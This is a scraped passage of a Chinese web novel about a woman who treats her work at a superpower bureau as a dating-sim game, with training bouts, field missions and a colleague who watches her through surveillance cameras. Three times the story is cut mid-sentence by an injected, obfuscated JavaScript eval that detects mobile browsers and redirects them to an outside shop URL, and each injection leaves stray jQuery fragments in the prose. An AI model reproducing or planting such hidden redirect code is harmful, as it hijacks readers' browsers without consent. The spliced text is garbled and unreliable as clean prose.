关可手里拿着一个浅色的一次性纸碗,上面冒着腾腾的热气,显然是刚买的。 虽然还没确定关可到底是受了什么伤,以她这行动不便的状态,这东西不可能是她单独去买的。但是易骥?徐斐然不觉得后者会去主动做这类事。 正想着,却见监控中的画面又有了变化。 关可低头不知道在易骥耳边说了什么,也不等对方回答,已经捻起了一根签子,递到易骥的唇边。 沾着温热汁水的透明萝卜块碰触到嘴唇,易骥顿了顿,低头咬了一口。 徐斐然:“……?” 想到那天走廊里的对话,饶是以徐斐然的修养,也忍不住在心底呵呵一笑。 因为关可的格斗太差,怕砸了他的招牌?骗谁呢? 监控室内陷入了短暂的安静,屏幕前的两个人一时都没有说话,就这么看着画面里的人一喂一吃,一直把那一碗关东煮消灭了大半。 再往前一点,关易二人走出了公共监控区域,屏幕上的画面空了下来。 万琨下意识地想要继续调取监控,却被徐斐然拦住了。 他冲着万琨摇了摇头,“他肯定知道。” 因为危险性评估的关系,徐斐然被易骥监察了一整年,知道后者对监控的敏锐。如果是普通的公共监控,易骥可能不管,但万琨要是真的调取一些偏向私人类的监控,他肯定要做点什么来警告的。 徐斐然想到这里,突然意识到另一个问题。 按理说嫌疑人已经离开了,万琨没有道理追着关易两人的监控不放。 他迟疑地看向万琨。 万琨明显也意识到问题,表情僵硬了一瞬,很快就强自镇定下来,“她同意了。” 这个“她”指的只能是关可。 徐斐然并不清楚两人之间发生的事情,但是有些事靠猜也能猜到,比如说关可整个办公室送礼物送到了万琨,再比如万琨本人大概第一次接受这种程度的示好。虽然不知道具体的过程,但是结果却很容易想像。 关可当然会同意。 她可是为了被喜欢而连夜工作到晕倒,不管要求合不合理,她绝对不会拒绝。 “她不清楚……” 徐斐然劝解的话还没有说完,就被万琨打断。 “她说‘可以’。” 万琨抬头看过来,他态度明显比刚才尖锐。旁边屏幕的冷光照在他的脸上,或许是异能的影响,他的眼底有冰凉的电子数据流闪过。 徐斐然微怔。 异管局虽然对手底下的异能者颇为照顾,但是却不是每个都能有这种把办公室改造成起居室的特别待遇,万琨本人的性格怯懦,但是他的异能却在某种意义上非常可怕。而他那所谓的怯懦之下是抗拒,抗拒之下是厌恶,不管是对规则还是对人,都是如此。 放任不管会出大事。 但是一个管不好,又会起反效果。 徐斐然最后也只能叹了口气。 他已经能够感受到邬组的头疼了,执行组里有一个算一个,全是问题儿童,还都是易燃易爆的类型。 * 另一边,关可被从商厦回来,又双叒一次被送进了医务室。易骥还要去做这次的任务汇报,把关可送到医务室之后就离开了。 关可坐了一会儿,等来的却是徐斐然。 虽然医务室里经常有NPC光顾,但徐斐然在这里的刷新频率是不是有点高啊? 徐斐然解释:“有一队后勤回来的时候出了点意外,有人受伤,文凡正在处理那边,一时抽不开身,我来看看你,哪里伤到了?” 关可垂在床边的右腿无意识地晃了晃,还没来得及说话,徐斐然已经在左侧边蹲下身来:“这只脚?” 关可:“……是。” 青年低头解开关可的鞋带,动作轻柔地褪下她左脚的鞋袜。整个过程中,关可受伤的那只脚没有感觉到半点拉扯感。裤脚被往上卷起,小腿四分之一往下都暴露在空气中,关可不太自在地蜷了蜷脚趾。 过了这么长时间,脚腕已经肿起来了。徐斐然先是摸了摸,又用指腹轻柔地在上面按压,轻微的刺痛感传来。但关可还没来得及嘶气,那刺痛就变成了麻痒,她低头一看,脚腕上的肿胀居然以肉眼可见的速度消失了。 关可:??? 她很快就反应过来,“你的异能?” 徐斐然笑着颔了下首。 原来这是个治疗啊!怪不得总在医务室出现。 关可低头看了眼已经恢复如常的脚腕,正想要下地走上几圈,却被再次按住了小腿,“不要跳下来。关节上的结构很复杂,就算是正常状态,突然受力也很容易损伤,别提你还刚刚恢复。” 关可一脸受教,乖巧点头,“嗯嗯。” 你是治疗,你说得对。 徐斐然像是有点想笑,但又忍住了。他扶着关可从床上下来,等着她的左脚一点点受力,这才松了手,又在旁指导着她做活动练习。 看了一会儿,徐斐然突然开口问:“我刚才检查,骨性结构是正确的,是扭伤了吗?” “是脱臼。但易哥帮忙做了临时处理。” “易骥确实擅长这个,但是强行复位很疼吧?” 关可回忆着那会儿的情况,摇头:“不疼。一点感觉都没有。” 她都做好了心理准备,结果居然都没感觉! 确认关可说的都是实话之后,徐斐然忍不住挑了一下眉。 以易骥惯用的快速复位的办法,不可能没感觉。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774930|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过易骥的异能是雷电,可以用来对外攻击,也常被他用来刺激自身细胞越过极限,易骥本人很擅长精细控制。疼痛的传导本身就是一种神经电信号,利用异能做短暂阻断也有可能……但以易骥的性格,他会这么体贴? 种种思绪在脑子里过了一圈,徐斐然最后也只是听不出什么意味地问了句:“是吗?” 关可连连点头:“是的是的。” * 异管局这次行动并不成功,但也不算完全失败。 起码对于嫌疑人的异能有了更进一步的认识,他不单单能自己完成空间跳跃,还能够控制他人空间位置,只是不知道这个被控制对象到底是随机选中,还是需要留下什么标记,如果是前者,情况就会变得非常棘手。而且局里仔细研究了交手的视频,嫌疑人明明已经通过空间转移离开,再次出现时却对现场的站位情况非常了解,分析员猜测,他可能并不是离开,而是就近躲藏在亚空间里。 空间类的异能本来就很难对付,这一个小会之后,局里把这个嫌疑人的危险程度直接提了一个大等级,给上了[极度危险]的四级标记,在系统里都标注了触目的鲜红底色。 关可目前还只是一个实习生,后续任务的安排和她关系不大。 但散会之后,她被易骥叫住了。 关可茫然地被易骥带到了训练场。 她一开始还没有反应过来是怎么回事,因为易骥这次连玩偶都没有让她带,作为一个玩偶师,怎么看都是皮薄血脆的远程,易骥也不像是会这么欺负人的类型,所以当对方招呼都不打一声,就把拳头挥过来的时候,关可是完全懵逼的。 在关可的眼里,对方的出拳速度已经很快了,快到她视线根本来不及捕捉的地步。 但是中途却似乎又有加速,关可根本没反应过来,就听见[战斗辅助已开启]的电子提醒声。提醒声音还没落定,身体已经自己有了动作,全身的肌肉收缩,她一个矮身蹲了下来,却仍旧没有停留,而是就地旋转,连滚带爬地翻了出去。 只堪堪这两个动作,却像是调动了全身的力气,比跑了八百米还累。 急速提升的心率还没有平复下来,关可喘着气转头往回看,易骥正站在她刚才蹲下的那个位置,一缕长发飘飘摇摇地坠落在地上。 关可这才发现,易骥用的根本不是拳头,他手里正握着一柄寒光凌冽的匕首。 关可:“……” 红名了吧?刚才这人绝对红名了吧?! 这是想要杀了她么?! 惊魂甫定,关可根本说不出话来,只能一个劲儿地用眼神表示谴责。 易骥却没什么反应。他弯腰捡起了那缕断发,在指尖捻了捻,突然抬头看向关可。 关可谴责的视线还没来得及收起,表情却霎时僵在了脸上。 易骥笑了。眉梢轻挑,薄唇往上掀起,露出一个饶有兴致的笑容。笑得非常好看,是那种仿佛下一秒就把她嘎了的反派笑。 他慢着调子开口,声音带着低沉的磁性,“刚才那一下,项霜躲不开。” 关可:“……” 要是我也没有躲开,是不是这个周目就Game Over了? 12.玩偶12 因为[战斗辅助系统]过于出色的缘故,关可过上了日常被易骥带到地下训练室殴打的生活。 好好的一个恋爱游戏,硬是被她过成了战斗日常。 关可再一次被练得浑身被汗湿透,死狗一样地躺在了地上,表情放空地看着训练场的金属天花板,实在想不通到底为什么。 干燥的毛巾被搭在了脸上,眼前陷入一片黑暗。 力度适中的碰触在头顶上揉按着,不多一会儿,头发表层的汗水被吸走,毛巾重又被拿开。 易骥站在旁边,看着那一堆样式各异的玩偶忙忙碌碌地围绕在关可身周,擦汗的擦汗、换毛巾的换毛巾、按摩的按摩。 虽然不是第一次看见了,但每一次都觉得画面很奇特。 经过这么多次“练习”,易骥也大概判断出关可是怎样的情况。本能很不错,但是意识反应太慢了,身体的基础素质也很差。锻炼起来说难也难,说容易也容易。简单来说,不能给她思考空间,杀意逼迫到了身前,她身体会自己产生反应。 但既要保证有杀意还要在关键时刻收着手其实没有那么容易,说不定哪一次情绪上头控制不住,就真的把人弄死了。 易骥确实有这方面的担心,但几次下来,却发现情况远没有预想的难。 各色玩偶在场地内走来走去,像是将反射着冰冷色泽的金属训练场变成了梦幻般童话世界,软乎乎场景映入眼中,刚才还在胸腔中翻涌的戾气奇异地平静下来。 一个个毛茸茸的玩偶从他脚边经过,易骥垂着眼看了一会儿,突然往前伸了一下脚。 正搬运着毛巾的小棕熊玩偶被绊得一个趔趄,差点把手里的毛巾甩出去,它愤怒地抬头,和面无表情的易骥对上视线。 小棕熊:“……” 它敢怒不敢言地收回视线,绕开了易骥位置。 几分钟后,训练场的玩偶依旧来回穿梭,但以易骥为中心,周围几米的半径内空出了一片真空地带。 易骥垂眸不语了。 片刻后,他开口,“明天对练——” “不、嘶……不行!” 易骥的话没说完,躺着的关可就一个仰卧起坐。却没能起得来,尝试起身的动作牵扯到了酸软的肌肉,关可表情都控制不住狰狞了,她抽搐了一下,躺了回去,平复了会儿呼吸,才有气无力地开口,“明天、明天我要出任务,和项姐一起。” 易骥倒是不勉强,“那就后天。后天对练的时候,用上异能。” 这么多玩偶,不能浪费了。 关可:“……” 您脑子里就没有休息日的概念吗?! 总之,在接连挨了几天的揍之后,关可终于以任务为理由,获得了短暂的休息时间。 和上次出动了大半个组的空间异能嫌疑人不同,这次只是个刚刚觉醒异能的普通的中二病小孩。 “我可是华X市老大!你们敢动我?!我让你们看看什么是力量!!……既然你们是女的,我让你三招,到时候就公平竞争,出去别说我打女人。” 台词太过尴尬,关可替这个小屁孩脚趾抠了会儿地。 然后三下五除二,很不客气地把这个小黄毛按在了地上。 小黄毛懵逼地试图挣扎,关可以这几天自己被绞索的经验,牢牢地按住了人。 项霜在旁也面露意外,她还记得关可第一次进训练场被抬出来的事,还以为这次任务主要是自己动手,让关可熟悉一下流程,没想到对方进步这么快。 ——行啊!不愧是易骥亲自带出来的人。 在心底唏嘘感慨了几句,项霜行动也没有耽误。 眼见着那小黄毛被摁住了,嘴巴里还不干不净地骂着,她顿时手背一翻,掌心凝结成一道锋利的冰刃,贴到了那小黄毛脖子上,冷声威胁:“老实点。” 小黄毛立刻怂了,一秒就从张牙舞爪的狮子变成温顺的小绵羊,哀求着,“姐姐!美女姐姐!你们听我解释,我真的没干坏事,真的!我是刚刚才发现自己好像不是一般人,有点膨胀,不是有意冒犯你们的。姐姐对不起!” 项霜:“有没有回去说!” 小黄毛还想反抗,但是冷冰冰的冰刃贴在脖颈上,他很快就不敢动弹了。 但关可分明看见,项霜特意把冰刃凝得锋利纤薄,薄薄的一层冰,碰触到皮肤后,很快就被融化,虽然仍旧冰凉的贴在脖颈上,但却不可能构成致命伤。 注意到关可的视线,项霜冲着她眨了下眼,悄悄比了个嘘的手势。 有了小黄毛的配合,两人很顺利地把人送回了局里,今天的任务圆满完成,项霜兴冲冲地请关可喝咖啡。 路上还忍不住吐槽:“今天还算顺利的,得好好庆祝一下。这个年纪的小屁孩难搞得很,一个个都以为自己是天王老子,有点异能就不知道自己是谁了,不从一开始就吓唬住了,后来只会更难搞。” 她分享了自己摸索的心得,紧接着又道:“可可你以后也出外勤,也想想你的异能,看怎么吓唬人……” 项霜这么说着,和被关可挂在背包上的雪团对上了视线。 异瞳的猫咪冲她“喵”了一声,舔了舔爪子做了个洗脸的动作。 项霜:“……” 她定定的注视了玩偶几秒,深沉地,“倒也不一定用威胁的,可可,你可以换个赛道。” 关可从点单的手机屏上抬起头来,“什么?” 项霜试探地伸手在雪团上方,趁猫不备一阵揉搓,然后心满意足地收了手,一本正经地补充了下一句,“把人萌死!” 雪团转了一下身,用屁股对着她。 项霜半点不觉得被冷待,周围几乎冒起了小花花,“不掉毛不用铲屎还不需要遛!这是什么神仙宠物!” 关可沉吟了片刻,“项姐要是喜欢的话,可以——” 她还没有说完,本来背对着两人端坐的雪团毛发瞬间炸开,一下子扑到了关可怀里,死死拽住了关可的手臂。关可脑海中同时响起出一声凄厉的猫叫,震得人一阵眩晕。 关可:“……不是送你。” 项霜明显也受了影响,她抬手按了按额头。 但看着那边手忙脚乱安抚着猫咪的关可,忍不住笑了声,“这是被上次的事吓到了吧?放心,我可不像徐斐然,冷心冷肺地把你送去检查,跟了姐姐,吃香的喝辣的。” “项姐!”脑海里猫叫声都已经变调了,关可不得不打断项霜的火上浇油,解释着,“我是说,项姐如果喜欢玩偶的话,我可以帮你做一个,没有异能的那种。” 虽然跟宠无法赠送,但玩家可是玩偶师。 技能这种东西,不就是用来给NPC刷好感度的吗? “那怎么好意思呢?”旁边的服务生送来咖啡,项霜像模像样地感慨了一句,立刻就接着,“可以换成狗吗?金毛之类。我一直想要养一只,但没时间遛,跟上面申请好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789476|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次,咱们也配个搜查犬,邬组一直没同意。” 关可点头,“项姐想要多大的?” 察觉到自己没有被送出去的危险,刚才还嚎叫着的雪团放松下来,趁着没有人注意到,又重新跳到了桌子上,安静地蹲坐下去。听着项霜细致地说着金毛的要求,它眼神一点点高傲起来:居然喜欢狗,好没有眼光。 毛茸茸的耳朵抖了抖,听力一点点扩展范围,听着外面的服务生议论,“刚才A5桌那边桌上放了个猫玩偶,你看见了吗?异瞳猫咪,好可爱~” “是啊是啊,你也看到了?我刚才还想问哪里买的呢,不过没看到标签,可能是私人定制。” 支棱着的耳朵一点点放松下来,雪团低头舔了一下毛。 这才对嘛!是懂得欣赏美貌的两脚兽~ …… 不知道系统配备的跟宠还有这么复杂的内心活动,关可和项霜聊得热火朝天,话题告一段落后,被对方邀请去逛街。 关可露出了犹豫的表情。 项霜:“你下午有事?” 关可迟疑着:“也不算有事。” 按理说,像是“约会邀请”这样难得的好感度事件,玩家多半是会答应的。但是这次不凑巧,玩家安排了别的日程。 项霜追问了两句,但得到答案之后,她表情忍不住复杂了起来,“可可你很缺钱?” 居然是去打零工! 虽说套着玩偶套发传单这类工作,对关可来说,也算某种意义上的熟悉异能,但是异管局的待遇居然到这个地步了吗? 项霜犹豫着,“你要是有急用,邬组可以给你临时审批。而且咱们出外勤,案子结束是有奖金的。” 关可摇头:“不是急用,只是最近有点想买的东西。” 项霜打量了关可全身的打扮,关可看起来也不像是追求奢侈品的类型啊,至于说别的…… “异能相关的材料购买,都是走局里的专项经费,这个你不用担心。” 关可还是摇头。 一直看到关可的手机上的购物清单,项霜才知道对方是打算买什么:居然是咖啡豆? 突然想起什么,她眼睛眯起,“是你打算买来自己喝?” 当然不是! 玩家脑子抽了,辛辛苦苦在游戏里赚钱,只为了喝一口数据流的咖啡?脑子没点大病,干不出这种傻逼事来。 玩家这么努力,当然是为了刷好感度。 事情还要从昨天晚上说起,玩家终于从全身酸软的状态缓过来,刚恢复点行动力,就接收到了手机的这条信息的推送。 高价!精品!咖啡豆!!限时特惠。 这说明什么?这分明在提醒玩家赶紧重拾攻略! 玩家这几天不务正业,在训练场挨揍,已经到了系统都看不下去的地步!! 关可痛定思痛,查看了一遍自己的游戏余额。 计算上上次的外勤补贴,这次的任务金,还有一点点缺口,玩家紧急刷新附近任务,找出了这份临时工作——居然是随机日常任务唉!蚊子腿再小也是肉,以后说不定可以趁着任务间隙去做一做。 卡座的对面,在得到关可的沉默之后,项霜就知道这个咖啡豆是买给谁的了。 项霜:“……” 看着眼前的关可,项霜痛心疾首。 徐斐然那个家伙,不就是脸长得好一点,人长得高一点,皮肤白一点,他何德何能啊?! 13.玩偶13 异管局的办公室。 虽说办公室里的咖啡机多数时候是徐斐然在用,但毕竟是公用办公品,偶尔也有其他人心血来潮。 “徐哥,我借一下你的咖啡豆。” 也不是第一次借用了,说话人招呼了一声,拉开了下面的抽屉,正准备伸手去拿,却被徐斐然拦住了,“我去给你开另一袋。” “不用不用,徐哥别客气,哪能让您新开啊?我这嘴尝不出好坏,有的喝就行。” 旁边正好有人来接水,听着这对话,半是调侃地,“这是怕你霍霍好东西。” 他说着,低头看了半开的抽屉,不由“哟嚯”了一声,“这是可可送的吧?” 本来还在连连摆手的青年立刻顿住了,“该换的,该换的!” 虽然这么说着,眼里八卦的光掩都掩不住。 徐斐然无奈,“这一罐子咖啡烘焙度深,味道更苦,我怕你喝不惯。” “嗯嗯嗯!” 那人虽然点着头,但是满脸都写着“您看我信吗”。 徐斐然:“……” 一方面是烘焙度的问题,另一方面也确实是别人送的礼物,不太好被随便取用。 但不管是哪一个,都不是对方以为的意思。 这种事情,很容易越描越黑。 徐斐然也放弃了解释,径直开了另一罐,“这个烘焙度的豆子应该差不多,不太酸也不太苦。” “谢谢徐哥。”那人领受一番好意的之后,到底忍不住,“徐哥你到底怎么想的?可可送可可,人家妹子都把意思摆在脸上了,你应不应的,也给句准话啊!别的不说,就怎么这个办公室还这么多条单身狗,你要是真没意思,可别吊着人家,也给别人点机会啊!” “什么可可送可可?”还不等徐斐然回答,旁边那位像模像样快接了半小时水的同事接话,“咖啡是咖啡,可可是可可,你这个土老帽儿没见识,别瞎说啊!” “反正差不多的意思,人家妹子表现还不明显吗?好不容易来个新人,还是单身,怎么就一朵鲜花……” “怎么说话呢?咱们斐然也是棵草啊。”那人强调了一句,又清了清嗓子,转头对徐斐然,“斐然啊,你听哥一句劝,差不多都行了,让漂亮小姑娘追是很有面子,但感情也不是这么霍霍的。拖拖拉拉的,时间久了,等人家热情褪了,你可就没地后悔去了。” 徐斐然哭笑不得,“屈哥,真不是你想的那样。” 还不等在说什么,旁边传来两道轻敲墙壁的提醒声。 三人闻声回头,就看见站在不远处的拿着水杯的易骥。拿咖啡豆的那青年连忙让了个路,“抱歉,易哥,我没注意。” 屈留也往旁边让了一下,问:“小易今天没去训练场?” “嗯,有点事。” 易骥简短的回答了一句,但这边刚刚热火朝天的聊天氛围却被打断了,大家各自安静地打咖啡的打咖啡,倒茶的倒茶。 徐斐然把拿出来的咖啡豆递给了这个青年,不由又抬头看了易骥一眼。 易骥却好像就是来接杯水,目不斜视的按下金属按键,水流哗啦啦地淌下,又被旁边咖啡机工作的声音淹没。 气氛莫名拘紧起来。 青年操作了两下,见咖啡机只是响,却没别的没反应,压低声音问,“徐哥,你来看看,我这操作对不对?” 徐斐然回过神了,“对,没错。要等个几秒的。” 另一边,屈留坐回到自己的工位上,正倒着茶,突然咂摸出来点不对来。 他抬头看眼接了水正往外走的易骥。 说起来,这段时间,好像易骥一直和关可在一块儿? 异管局这么多年,没看见易骥和谁走得这么近,何况还是个女孩。 屈留目光在易骥和徐斐然两人身上转了一圈儿,突然咂了咂牙花子,唏嘘了一下。 果然是年轻人啊~ * 另一边的咖啡店里,项霜给关可做了整整半个小时的思想工作。 核心主题是“示好可以,但咱们不能这么倒贴男人”,甚至提出了两人可以下午去逛街,她来买单的约会邀请。 NPC主动提出约会,还不用花钱。 关可完全感受到了项霜的约会热情,但定好的日程不好随意变更,否则有被任务发布人拉黑的风险。虽然这个任务报酬低,但是它时间很灵活,关可还指望着以后把它当成日常。 关可想了想,“不如项姐和我一块儿去?” 项霜:? 关可把项霜拉到了她打临时工的游乐园,她穿着玩偶套装当工作人员,项霜当游客。 既完成了打工的任务,又和项霜在同一个场景下完成了约会日程,又是一次极高效的时间复用安排,玩家觉得自己绝对是一个平平无奇的攻略小天才! 在项霜看起来,可就完全是另一回事了。 玩偶头套一摘,关可额头旁边的头发已经被汗完全浸湿了,分明累得连气儿都喘不匀,但连个冰淇淋都舍不得买,留着给徐斐然买劳什子咖啡豆。 这和卖身养牛郎的失足少女有什么区别?! 项霜一时拿冰刀捅死徐斐然的心都有了。 不行,她得找徐斐然好好谈谈!真要没那个意思,赶紧干脆利落地断了,不能在这儿霍霍好姑娘! 关可刚刚坐下恢复了会儿体力条,就看到项霜的打车定位:“咦?项姐,你要回局里?” 她说着,检查了一遍的人物数据条。 她才坐了这么一小会,体力和精力条居然恢复了不少,而且刚才打工日程中,也没有之前喘不上气的感觉来。关可回顾了一遍自己最近的日程安排,顿时恍然,原来训练场是提高精力体力恢复速度的。 关可觉得自己又可以了! 但是只支棱了一会儿,她又有点萎靡。这个游戏的痛觉不能关,挨揍的时候是真的疼。不知道把易骥的好感度刷高,对方会不会下手轻一点? 项霜一低头就看见关可一会儿一个表情,满脸纠结。 鉴于对方先前的表现,她觉得关可除了想徐斐然,也没有别的了。 还回什么局里?必须不能去! 项霜一秒切换了定位,“我送你回家。” 找徐斐然谈什么时候都能谈,先把人物理隔绝起来才是正经事。 关可却是一愣。 约会结束还有这待遇?! 看着男友力爆棚的项霜,关可认真思考了一秒。 这游戏的可攻略对象限制性别吗? * 因为在前一个游戏日里,关可早早地就被项霜送回去休息了,她第二天起得很早。 玩家检查了一下日程,没有想好先去哪里,决定出门看看,能不能触发什么随机事件。才刚刚进入电梯,就看见里面的摄像头转动了一下。 关可神色自然地抬手打了个招呼,“早上好。” 果然触发了事件! 圆形的摄像头上下晃动了一下,是问好的意思。 关可当机立断地取消了四处逛逛的安排,直奔异管局去。还没到工作时间,办公室里空荡荡的,只有万琨坐在自己的位置上。 关可早在和摄像头打招呼的时候就猜到这里的情况了。 所以早起会触发万琨的相关事件吗? 关可笑着招了招手,“你醒得好早啊。” 万琨:“……” 他用异能设定了特别通知,只要关可出现在任何一个监控里,他都会被提醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800206|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然关可已经同意了,他还是隐隐意识到这个做法不能说出来。 他最终嗫嚅了一下,小声,“你昨天没有来。” “对,是的,昨天有个外勤的任务,我和项姐一起去的。”关可拿一次性纸杯给自己泡了杯咖啡,往万琨的方向走过来,“我制伏了一个异能者,你看到了吗?” 万琨顿了顿。 他抬头打量了会儿关可的表情,确定对方并没有反感的意思,这才低低地应了一声。 关可拉着自己的椅子坐到了万琨旁边,后者的屏幕上已经调出了那一段的监控。 只见她抬脚踹在黄毛的膝弯,趁着人矮身之际,抓着他的手臂就往后一拧,刚刚还嚣张跋扈的少年顿时被摁倒在地。 关可:! 虽然是[战斗辅助系统],但是她还是被自己帅到了! 她把纸杯放在旁边,坐直了身子往前看。 “能再放回去看一遍吗?” 万琨点头。 那一段视频被倒回到了最初。 两人来来回回地看了几遍,关可发现一点瑕疵,“这个位置,这个角度会不会更好看一点?” 万琨小声解释:“监控的位置固定,虽然能转动角度,但如果真的想从那个方向拍的话,画面会被遮蔽物挡住一大半。” 关可沉思:“这样啊~” 所以说,全靠监控拍出来东西还是很死板的。 玩家懂了,都是骗氪的套路了。 先出体验版的游戏记录,真要拍出质感来,就要氪金了。 关可面露纠结。 真要是氪也不是不能氪,但玩家都为了买礼物去打零工了,能在游戏里解决的问题,还是在游戏内解决比较好。 看见关可的表情,万琨犹豫地看了眼被关可放在旁边的雪团。 固定监控没法拍出想要的效果,但是移动的摄像头可以,关可好像总是随身带着这个玩偶。用上她的异能,完全可以移动拍摄。 察觉了万琨想要它干活的意图,雪团尾巴晃了晃,抬起后腿掏了掏耳朵。 愚蠢的人类啊! 高贵的雪团是不会听从主人之外的两脚兽的指示的~ 万琨:“……” 看着这一幕,他脸一点点红了。监控中的画面也跟着切换,到了关可穿着玩偶套装在游乐园做工作人员的期间。 工作人员毕竟还是有限制,虽然和项霜在同一个场景下,但是互动并不多。 监控里多半都是她的单人场景,项霜的出镜极少。 想到上次要求和徐斐然的剪辑被拒绝,关可突然恍然。 该不会这也是氪金项目吧?! 她突然抬头看向万琨。 后者一愣,正在播放的画面也跟着定住,正好是关可喘着气掀开头套的那一帧。 “怎、怎么了?” 关可沉思了一下:“如果要剪辑我和项姐当天的游乐园vlog,你怎么收费的?” 万琨愣了愣,旋即面红耳赤地,“不,不用。” 这居然不是氪金点? 所以徐斐然的问题,果然是好感度没到,没拿到授权。 关可还在思索,那边万琨又看了一眼屏幕里穿着玩偶套的关可,小声问:“你缺钱吗?” 瞧这话问的? 先不论现实情况,游戏里也没人会嫌金币多啊。 但关可沉吟了一下,倒也实话实说,“也不能说缺。” 毕竟玩家不是开荒期的一穷二白,“就是最近有点想买的东西。” 万琨:“我——”可以送给你。 话没说完,外面传来一阵说说笑笑的声音,办公室的门被推开。 临近上班时间,有人进来了。 14.玩偶14 一直到关可离开,万琨也没能成功把那句话说出口。 办公室变成了人来人往,万琨的位置被隔绝在外,他发了会儿呆,目光不知道什么时候落在了关可留下来的那个一次性纸杯上。 关可离开的时候没有拿走,里面还留了半杯咖啡。 万琨定定地看着那个办公室批发来的杯子,心脏不由自主地跳了起来。 他鬼使神差地抬手拿起了纸杯,注视着杯口处留下的咖啡印记,手腕轻旋,杯口处带着咖啡渍的位置就对向了自己。杯子离他的距离越来越近越来越近,心脏跃动的速度随着距离逼近而加快,耳边都有了嗡鸣的回音,万琨仿佛听见了自己血流的声音。 终于,在杯口距离唇边只有分毫的时候,心脏的跃动已经到了极限,快到马上就要炸开。 下一秒,万琨猛地把杯子放在旁边,靠在桌边大口大口地喘着气。 杯子里剩下的半杯咖啡不住地摇晃着,湿润的触感只余分毫就能碰到,但是万琨却回想起来,上次医务室关可向他索要和徐斐然相关的监控视频的事。 他闷闷地埋了一下头,再抬眼看这个纸杯,却依旧舍不得扔。 犹豫了半天,正准备拿着杯子去冲洗干净,走下楼梯的时候,却看见拉拉扯扯的项霜和徐斐然二人。 万琨:?! 他下意识的一个矮身,把自己的身形藏了起来,打开手机调取了监控。异管局的办公区域大半被监控覆盖,项霜扯着徐斐然进入的这个楼梯间也并不例外。但是两人进去之后,却并没有万琨设想的亲密举动。 项霜刚把人拽进去就放开了手,徐斐然看起了还有点不明所以。 他下意识地看向被项霜堵住的门,再看看项霜抱臂一脸拷问的态度,困惑,“你这是?” 项霜:“你给我说清楚,你对可可到底是怎么态度?” 徐斐然怔了一下,半是了然,“是她和你说了什么吗?” “不是她说。我有眼睛,我看到的!” 项霜一听见徐斐然这“不主动不拒绝不负责”的口气就来气,语气也跟着恶劣下去。 不只是楼梯间内的项霜,连盯着监控的万琨都忍不住握紧了手机。 监控的红灯闪烁了两下,不过楼梯间的两人一时都没注意到这点小问题。 徐斐然被质问得无奈,“情况有点复杂,不是你见到那样。” 项霜闻言,却只是冷笑,“有什么复杂的?不就是一个答案吗?可可不好意思开口,我来帮她问问,‘答应’或者‘拒绝’,就这么简单。” 徐斐然:“……你还不知道我和易骥那天遇到她时候发生的事吧?” 项霜本来想要说“少转移话题”,徐斐然已经把那天天台上遇见关可差点跳楼的事情说了,“我和易骥那天就是在那里看到她的。她情绪很平静,对话也很有逻辑,并不是一时的冲动,看起来是想了很久才做下了决定。” 项霜只知道关可在异能暴露之前就被徐易二人发现可能是异能者,但是详细的情况还真的没有知道得这么清楚,刚一听见还有点愣神。 “但是日常相处,没看出来什么不对啊?我和她聊天,也没有听出这个倾向。” 项霜有点怀疑地看向徐斐然。 这人该不会为了下台阶,随便扯了个谎来诓她吧? 看出了项霜怀疑的意思,徐斐然摇了摇头,“你应该也察觉了,她对人的态度有点奇怪。” 不长的时间相处,已经让项霜对关可很有好感了,要不然也不会干出为了关可把徐斐然堵在楼梯间的事。这会儿听到徐斐然这么说,她一下子就急了,“哪里奇怪了?你别凭空污蔑人啊,可可多好的一个女孩子。” “你不觉得太好了吗?” 项霜一愣。 她下意识想要反驳,开口的话却堵在了喉咙口。 好像是有点啊,从进到异管局开始,就没见过她拒绝别人的要求。也亏得局里氛围还算不错,要是真的换她以前的工作环境,关可这样的大概会被使唤到死。也不对,上次调取空间异能者轨迹的时候,她就昏迷被送到医务室。 新人到了新环境紧张或者想要表现都可以理解,但是做到这种程度,多少有点过了吧? 看见项霜脸色变来变去,徐斐然就知道对方明白过来是怎么回事了。 “你现在还觉得她是‘喜欢’我吗?……我只是在那个时间,碰巧出现在那个地点,然后被她像是救命稻草一样抓住了。” 楼梯间里很安静,两人对话的声音也完完整整地透过监控传入万琨的耳中。 他按了按戴在耳朵上的耳机,半是出神的不知道在想什么。 ——不是“喜欢”吗? * 无知无觉成为话题中心的关可这会儿正在地下室挨揍。从上一次得知训练场可以提高精力体力速度之后,关可觉得自己又可以了。但等[战斗辅助系统]一开,疼痛实打实的落在身上,她的心底再度抗拒起来。 就没有什么更加轻松点的练习方式吗? 而且易骥是不是今天心情不好,下手好像格外重。 